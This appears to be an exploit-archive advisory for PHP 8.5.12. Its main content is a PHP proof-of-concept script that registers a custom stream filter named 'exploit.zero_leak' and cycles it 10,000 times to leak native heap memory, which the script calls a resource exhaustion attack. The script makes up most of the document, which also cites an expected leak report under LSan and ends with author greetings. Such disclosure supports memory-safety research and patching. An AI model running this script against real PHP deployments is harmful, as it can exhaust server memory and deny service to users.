PHP 8.5.12 Zero-Length Stream Bucket Memory Leak

==================================================================================================================================
| # Title     : PHP 8.5.12 Zero-Length Stream Bucket Lifecycle & Native Heap Leak                                                |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.php.net                                                                                              |
==================================================================================================================================

[+] Summary : investigate potential memory-management issues in PHP's native stream-filter subsystem, particularly the lifecycle of zero-length 
              stream buckets during filter removal and stream closure.
              The script implements a custom user-defined stream filter named ZeroBucketDrainFilter 
			  and repeatedly creates, processes, and removes stream filters to examine native memory allocation and cleanup behavior.
[+] POC    : 

<?php

class ZeroBucketDrainFilter extends php_user_filter {
    public function filter($in, $out, &$consumed, $closing): int {
        if ($closing) {
            $b = stream_bucket_new($this->stream, '');
            if ($b !== null) {
                stream_bucket_append($out, $b);
            }
            return PSFS_PASS_ON; 
        }
        while ($b = stream_bucket_make_writeable($in)) {
            $consumed += $b->datalen;
            stream_bucket_append($out, $b);
        }
        return PSFS_PASS_ON;
    }
}
stream_filter_register('exploit.zero_leak', ZeroBucketDrainFilter::class);
echo "[+] Starting Resource Exhaustion Exploit (ZBF-001)...\n";
$iterations = 10000;

for ($i = 0; $i < $iterations; $i++) {

    $f = fopen('php://temp', 'w+');
    if (!$f) continue;

    $filter = stream_filter_append($f, 'exploit.zero_leak', STREAM_FILTER_WRITE);
    fwrite($f, 'A');
    stream_filter_remove($filter);
    
    fclose($f);

    if ($i % 2000 === 0 && $i > 0) {
        echo "[*] Triggered $i iterations... Leaking structures into Native Heap...\n";
    }
}

echo "[+] Attack Loop Completed Successfully.\n";
echo "[!] If run under LSan (USE_ZEND_ALLOC=0), a persistent leak of 490,000 bytes in 20,000 allocations will report on exit.\n";
?>

	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================